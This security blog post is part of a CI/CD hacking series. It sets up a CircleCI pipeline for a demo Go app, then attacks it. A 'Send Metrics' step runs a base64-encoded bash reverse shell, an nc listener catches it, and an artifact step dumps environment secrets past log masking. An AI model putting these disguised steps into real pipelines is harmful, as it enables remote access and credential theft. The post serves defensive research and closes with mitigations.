Skip to main content
Hacking CI/CD Pipelines: Part 5 CircleCI
  1. Security/

Hacking CI/CD Pipelines: Part 5 CircleCI

·12 mins
Table of Contents

My journey into hacking different CI/CD pipelines is near its end. If you have jumped straight into this, we’re looking at performing malicious code execution and credential stealing from various CI/CD Platforms. The previous posts can be viewed here:

  1. Overview CI/CD Hacking
  2. Jenkins
  3. GitLab
  4. GitHub Actions

In this post, we’ll be looking at CircleCI which I’ve never used or performed a security assessment of. As such I will not only be achieving the two main objectives but review any available security controls.

Setup
#

As CircleCI only supports “Enterprise” self-hosted solution (requires going through sales), I’ll be using the SaaS platform. The first step is to sign-up, create an account and by default, access requires the configuration of 2FA (Authenticator Code).

Next, we need to create an organisation (a workspace for teams to collaborate) and a project (logical location for the pipeline linked to a GitHub repository).

As part of setting up the project, you will be asked to setup the pipeline. This requires a connection to a VCS which we’ll use GitHub and specifically only allow access to the demo-api-app repository.

Only this repository is returned, so we select it and we begin to define what we want to run in our pipeline.

CircleCI Example Pipeline
#

An example config.yml is provided which we need to modify.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Use the latest 2.1 version of CircleCI pipeline process engine.
# See: https://circleci.com/docs/reference/configuration-reference
version: 2.1

# Define a job to be invoked later in a workflow.
# See: https://circleci.com/docs/guides/orchestrate/jobs-steps/#jobs-overview & https://circleci.com/docs/reference/configuration-reference/#jobs
jobs:
  say-hello:
    # Specify the execution environment. You can specify an image from Docker Hub or use one of our convenience images from CircleCI's Developer Hub.
    # See: https://circleci.com/docs/guides/execution-managed/executor-intro/ & https://circleci.com/docs/reference/configuration-reference/#executor-job
    docker:
      # Specify the version you desire here
      # See: https://circleci.com/developer/images/image/cimg/base
      - image: cimg/base:current

    # Add steps to the job
    # See: https://circleci.com/docs/guides/orchestrate/jobs-steps/#steps-overview & https://circleci.com/docs/reference/configuration-reference/#steps
    steps:
      # Checkout the code as the first step.
      - checkout
      - run:
          name: "Say hello"
          command: "echo Hello, World!"

# Orchestrate jobs using workflows
# See: https://circleci.com/docs/guides/orchestrate/workflows/ & https://circleci.com/docs/reference/configuration-reference/#workflows
workflows:
  say-hello-workflow: # This is the name of the workflow, feel free to change it to better match your workflow.
    # Inside the workflow, you define the jobs you want to run.
    jobs:
      - say-hello

CircleCI allows the user to define multiple workflows, each with jobs to run. Jobs run within a container and support multiple steps to be executed. Much like many CI/CD platforms the user is able to choose a container image provided by the supplier or they are able to run their own custom image.

We’ll proceed with this example and change it later.

Next, we are asked to setup a trigger with several options such as Pushes to default branch, PR merged and Tag pushes. As I’ll be working independently on the repository, we’ll trigger on Pushes to default branch.

We’ll commit the config and finish the initial setup.

This finishes with a successful, initial build.

Configuring our Workflow
#

Now it’s time to define our pipeline with the following steps:

  1. Checkout the go api app source code from GitHub
  2. Build the go binary
  3. Unit test the go binary
  4. Build the go api app container image
  5. Push the container image to DockerHub

For our workflow, we need to build go and docker which, much like other platforms, CircleCI provides reusable packages for common build and configuration items called orbs. Looking through the orbs public registry we can see orbs for both go and docker.

We’ll split the workflow into two jobs, the first for go build and test, the second for building and deploying the container image.

Go Build and Test

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
jobs:
  build-test:
    executor:
      name: go/default
      tag: '1.24'
    steps:
      - checkout
      - go/with-cache:
          steps:
            - go/mod-download
            - go/test:
                build_ldflags: "-s -w"
                packages: ./...
                failfast: true
                no_output_timeout: 15m
                timeout: 15m

Docker Build and Push

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
jobs:
  ...
  docker-build-push:
    executor: docker/docker
    steps:
      - setup_remote_docker
      - checkout
      - docker/check
      - docker/build:
          image: $DOCKER_USERNAME/demo-api-app
          tag: $CIRCLE_SHA1
      - docker/push:
          image: $DOCKER_USERNAME/demo-api-app
          tag: $CIRCLE_SHA1

The overall workflow is defined to trigger off the main branch.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
workflows:
  demo-api-workflow:
    jobs:
      - build-test:
          filters:
            branches:
              only: main
      - docker-build-push:
          requires:
            - build-test
          filters:
            branches:
              only: main

Full Workflow

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
version: 2.1
# Enable orbs for Go and Docker
orbs:
  go: circleci/[email protected]
  docker: circleci/[email protected]

jobs:
  build-test:
    executor:
      name: go/default
      tag: '1.24'
    steps:
      - checkout
      - go/with-cache:
          steps:
            - go/mod-download
            - go/test:
                build_ldflags: "-s -w"
                packages: ./...
                failfast: true
                no_output_timeout: 15m
                timeout: 15m

  docker-build-push:
    executor: docker/docker
    steps:
      - setup_remote_docker
      - checkout
      - docker/check
      - docker/build:
          image: $DOCKER_USERNAME/demo-api-app
          tag: $CIRCLE_SHA1
      - docker/push:
          image: $DOCKER_USERNAME/demo-api-app
          tag: $CIRCLE_SHA1

workflows:
  demo-api-workflow:
    jobs:
      - build-test:
          filters:
            branches:
              only: main
      - docker-build-push:
          requires:
            - build-test
          filters:
            branches:
              only: main

Pipeline Secrets
#

To finish this off, we’ll need to define secrets for DockerHub and our custom secret we want to exfiltrate. Secrets can be set at a project level or shared across multiple projects via contexts. For our example, we’ll use project level secrets as we have no requirement to share across the organisation.

As we are using the Docker Orb, we don’t need to define the secret directly in the job, as docker/check and docker/push commands are programmed to look for specific Environment Variables in the CircleCI project. Specifically the Orb will look for the variables DOCKER_LOGIN and DOCKER_PASSWORD.

With all this configured, we can commit the changes to the config.yml and trigger the pipeline.

Success! 🏆

Validating the Build
#

With the container image built, we can check it by pulling it from DockerHub and testing it out.

1
2
3
4
5
6
7
8
docker pull wakeward/demo-api-app:da4367d3a47f51273e2c344a95ebc0d04bbae841
da4367d3a47f51273e2c344a95ebc0d04bbae841: Pulling from wakeward/demo-api-app
2445dbf7678f: Already exists
f291067d32d8: Already exists
86aeac0436bf: Pull complete
Digest: sha256:223bbfd9e5baa8b2ac8f7971383d044833267d7a9be6e5201359b8923b37b77f
Status: Downloaded newer image for wakeward/demo-api-app:da4367d3a47f51273e2c344a95ebc0d04bbae841
docker.io/wakeward/demo-api-app:da4367d3a47f51273e2c344a95ebc0d04bbae841
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
docker run -it --rm -p 8080:8080 wakeward/demo-api-app:da4367d3a47f51273e2c344a95ebc0d04bbae841
[GIN-debug] [WARNING] Creating an Engine instance with the Logger and Recovery middleware already attached.

[GIN-debug] [WARNING] Running in "debug" mode. Switch to "release" mode in production.
 - using env:   export GIN_MODE=release
 - using code:  gin.SetMode(gin.ReleaseMode)

[GIN-debug] GET    /api/v1/healthcheck       --> github.com/wakeward/demo-api-app/controllers.HealthCheck (3 handlers)
[GIN-debug] GET    /swagger/*any             --> github.com/swaggo/gin-swagger.CustomWrapHandler.func1 (3 handlers)
[GIN-debug] [WARNING] You trusted all proxies, this is NOT safe. We recommend you to set a value.
Please check https://github.com/gin-gonic/gin/blob/master/docs/doc.md#dont-trust-all-proxies for details.
[GIN-debug] Listening and serving HTTP on :8080
1
2
curl http://localhost:8080/api/v1/healthcheck
service is running

Onto exploitation of the pipeline, but before we do let’s review the security features of CircleCI.

Security Features
#

CircleCI has the expected security features such as encryption at rest and in transit and IP whitelisting. Additional CI/CD pipeline features include:

  • Build Isolation: Each build runs in a fresh, ephemeral Docker container or VM, separate from other builds and your network, destroying it after use
  • Secrets Management: Secure environment variables and sensitive data as well as define contexts to group secrets specific projects or teams
  • OIDC: Short-lived, single-use tokens for secure authentication with external services such as AWS, GCP and GitHub (Job interaction only)
  • VCS Integration: Secure connection to Source Control Systems, for our use case we can use the GitHub OAuth Authorized App
  • Audit Logs: Detailed logs track system/application events (secret changes, job starts/stops) for transparency and monitoring
  • Policy-as-Code: Fail or warn when the pipeline violates policies such as require vulnerability scanning to be performed and specific contexts to be used for the main branch
Importantly for secrets management, CircleCI masks secrets by scanning the build output and replacing any exact matches of environment variable values with the placeholder ****.

Breaking out of the Circle
#

With all the required infrastructure and code in place, it is time to run our pipeline exploit.

Remote Code Execution
#

To obtain a remote code execution and a reverse shell, we use the same trick we have for Jenkins and GitLab which is a simple base64 encoded bash oneliner. To achieve this an additional step is added to the pipeline definition file (config.yml), where we run the command. This will halt the pipeline as we never release socket but it demonstrates that we can establish remote connectivity and enumerate the pipeline runner.

We name the step “Send Metrics” which is a common method for adversaries to use to obfuscate external connectivity.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
jobs:
  build-test:
    executor:
      name: go/default
      tag: '1.24'
    steps:
      - checkout
      - run:
          name: Send Metrics
          command: echo "YmFzaCAtaSA+JiAvZGV2L3RjcC88SVAtQUREUj4vPFBPUlQ+IDA+JjEK" | base64 -d | bash
      - go/with-cache:
          steps:
            - go/mod-download
            - go/test:
                build_ldflags: "-s -w"
                packages: ./...
                failfast: true
                no_output_timeout: 15m
                timeout: 15m

Pushing the changes to the config.yml we can observe the triggering of the build (as we set up the workflow to execute on any changes).

The pipeline is left running on our new step and we receive a reverse shell. Dumping the environment variables on the runner, we see all of our project secrets including the DockerHub PAT even though it’s used for a separate job. The CircleCI token uses OIDC so compromising it will have a limited impact based on the permissions and time limit set for it.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
wakeward@ubu-skyhook-2024:~$ nc -lnvp 4444
Listening on 0.0.0.0 4444
Connection received on 3.238.186.190 58842
circleci@7353d0123f65:~/project$ env
env
...
SECRET_TOKEN=SuperSecretToken
CIRCLE_OIDC_TOKEN=<REDACTED>
DOCKER_PASSWORD=dckr_pat_U_<REDACTED>
...

Whilst we’ve got access to the runner, it’s always useful to enumerate it and glean potentially undocumented knowledge. The runner is an Ubuntu Linux with a reference to AWS.

1
2
3
circleci@7353d0123f65:~/project$ uname -a
uname -a
Linux 7353d0123f65 6.8.0-1040-aws #42~22.04.1-Ubuntu SMP Wed Sep 24 10:26:57 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux

A quick mount allows us to see a Docker overlay meaning unsurprisingly we are running in a container.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
circleci@7353d0123f65:~/project$ mount
mount
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay/l/2LHFEKD3SPMDLNSZISOGKKQIJN:/var/lib/docker/overlay/l/V4FOSJNKAHM5LIFRB45GCZ5MK2:/var/lib/docker/overlay/l/ELDKFBDRSUJXJBBHIHXTNGIJK6:/var/lib/docker/overlay/l/KL4TETSLDSBEZ2NNQV2PO5RPIC:/var/lib/docker/overlay/l/MS4BCCYMEPEBXCIMSDYUULCYAM:/var/lib/docker/overlay/l/57LTSED4AWRZV4VIZOU6TBP2ZD:/var/lib/docker/overlay/l/NV3YHJF2UOHPO66YFUOGTLI2ZJ:/var/lib/docker/overlay/l/C35GQUOSR3FDHAPLIPV6QXOCS4:/var/lib/docker/overlay/l/OEWB66DXHQ2LKX2AIC2ASEUDUD:/var/lib/docker/overlay/l/4LQXXRZJNYFOBAKQETT42ECWZR,upperdir=/var/lib/docker/overlay/69ca62079dbad5dc1967646d0aa582aba6888570d45b2d40a0cfaec63857167a/diff,workdir=/var/lib/docker/overlay/69ca62079dbad5dc1967646d0aa582aba6888570d45b2d40a0cfaec63857167a/work,nouserxattr)
/dev/nvme1n1 on /.dockerenv type xfs (ro,relatime,attr2,discard,inode64,logbufs=8,logbsize=32k,prjquota)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
lxcfs on /proc/stat type fuse.lxcfs (rw,nosuid,nodev,relatime,user_id=0,group_id=0,allow_other)
lxcfs on /proc/swaps type fuse.lxcfs (rw,nosuid,nodev,relatime,user_id=0,group_id=0,allow_other)
lxcfs on /proc/uptime type fuse.lxcfs (rw,nosuid,nodev,relatime,user_id=0,group_id=0,allow_other)
lxcfs on /proc/slabinfo type fuse.lxcfs (rw,nosuid,nodev,relatime,user_id=0,group_id=0,allow_other)
tmpfs on /mnt/ramdisk type tmpfs (rw,nodev,relatime,size=50331648k,inode64)
lxcfs on /proc/cpuinfo type fuse.lxcfs (rw,nosuid,nodev,relatime,user_id=0,group_id=0,allow_other)
lxcfs on /proc/meminfo type fuse.lxcfs (rw,nosuid,nodev,relatime,user_id=0,group_id=0,allow_other)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
/dev/nvme1n1 on /etc/resolv.conf type xfs (rw,relatime,attr2,discard,inode64,logbufs=8,logbsize=32k,prjquota)
/dev/nvme1n1 on /etc/hosts type xfs (rw,relatime,attr2,discard,inode64,logbufs=8,logbsize=32k,prjquota)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=50331648k,inode64)
/dev/nvme1n1 on /run/.containerenv type xfs (rw,relatime,attr2,discard,inode64,logbufs=8,logbsize=32k,prjquota)
/dev/nvme1n1 on /etc/hostname type xfs (rw,relatime,attr2,discard,inode64,logbufs=8,logbsize=32k,prjquota)
cgroup on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec,relatime)
devpts on /dev/console type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
proc on /proc/bus type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/fs type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/irq type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/sys type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/sysrq-trigger type proc (ro,nosuid,nodev,noexec,relatime)
tmpfs on /proc/acpi type tmpfs (ro,relatime,inode64)
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
tmpfs on /proc/latency_stats type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
tmpfs on /proc/scsi type tmpfs (ro,relatime,inode64)
tmpfs on /proc/timer_list type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
tmpfs on /sys/firmware type tmpfs (ro,relatime,inode64)
tmpfs on /proc/interrupts type tmpfs (rw,nosuid,size=65536k,mode=755,inode64

As we are using a public runner, we won’t go any further but you can see how easy it is to achieve remote code execution and what you can obtain from doing that. From a detection perspective, you’ll need to examine the specific step in the build log.

Credentials Stealing
#

We’ve already obtained the secrets from the pipeline but let’s see if we can leak them in the build log. As previously discussed CircleCI masks secrets when printed out in the build log and we can verify this by changing the config.yml to:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
jobs:
  build-test:
    executor:
      name: go/default
      tag: '1.24'
    steps:
      - checkout
      - run:
          name: Testing Masking
          command: echo "$SECRET_TOKEN"
...

So how can we get around this? CircleCI artifacts are files or directories produced during a job that CircleCI stores and makes downloadable after the job completes. Jobs use the store_artifacts step to specify what to save:

1
2
3
- store_artifacts:
    path: /tmp/output
    destination: build-output

Artifacts are intended for build outputs such as test reports, coverage results, or compiled binaries, and are available from the job’s Artifacts tab in the CircleCI UI. Unlike build logs, artifact contents are not passed through CircleCI’s log masking. That means anything written to a file and stored as an artifact (including environment variables) is saved and downloadable without masking. An adversary can dump the environment to a file, store it as an artifact, and retrieve the credentials from the job’s Artifacts tab.

The config.yml becomes:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
jobs:
  build-test:
    executor:
      name: go/default
      tag: '1.24'
    steps:
      - checkout
      - run:
          name: Dump env to artifact
          command: |
            mkdir -p /tmp/env
            env >> /tmp/env/circleci.env
      - store_artifacts:
          path: /tmp/env
          destination: cred-dump
...

We can see the artifacts are stored from the pipeline:

If we navigate to “Artifacts” in the UI, we can see the circleci.env.

Opening the file we see a dump of all the environment variables from the pipeline:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
DOCKER_VERSION=5:28.1.1-1~ubuntu
CIRCLE_WORKFLOW_JOB_ID=debd5703-848d-4ca0-9f43-e192ea4d4241
CIRCLE_PIPELINE_ID=93a8497f-2624-4f8f-a36a-372f5977bc20
GO_VER=1.24.13
CIRCLE_ORGANIZATION_ID=bc37aaaf-f074-4b8e-8383-863cef861106
HOSTNAME=b9e6fc77ccd6
LANGUAGE=en_US:en
GOVULNCHECK_VERSION=1.1.4
SSH_AUTH_SOCK=/tmp/circleci-552666240/ssh_auth_sock
CIRCLE_REPOSITORY_URL=
CIRCLE_WORKING_DIRECTORY=/home/circleci/project
CIRCLECI=true
CIRCLE_PROJECT_REPONAME=demo-api-app
GOCI_LINT_VERSION=2.8.0
PWD=/home/circleci/project
...
SECRET_TOKEN=SuperSecretToken
CIRCLE_OIDC_TOKEN=<REDACTED>
DOCKER_PASSWORD=dckr_pat_U_<REDACTED>

Additionally we can see this is stored in AWS S3:

1
https://circleci-tasks-prod.s3.us-east-1.amazonaws.com/storage/artifacts/<UID>/<UID>/0/cred-dump/circleci.env?X-Amz-Algorithm=... 

Wrap Up
#

Executing a reverse shell and exfiltrating credentials from CircleCI was straightforward to achieve. The key takeaways from an adversary perspective are:

  • Project secrets are injected into every job — even the build-test job had access to DOCKER_PASSWORD and SECRET_TOKEN despite them only being used in docker-build-push. Compromising any job in the workflow exposes the full set of project credentials.
  • Build log masking has a blind spot — CircleCI masks secrets when they appear in console output, but artifact contents are not scanned. Writing environment variables to a file and storing it with store_artifacts bypasses masking entirely.
  • Protect the pipeline definition — as with Jenkins, GitLab, and GitHub Actions, controlling config.yml means controlling the executor. Branch protection and limited write access to the config file remain essential.

That completes the CircleCI part of the series. For the final instalment, we’ll be looking at Azure DevOps and rounding off the review of the five most popular CI/CD tools.

Related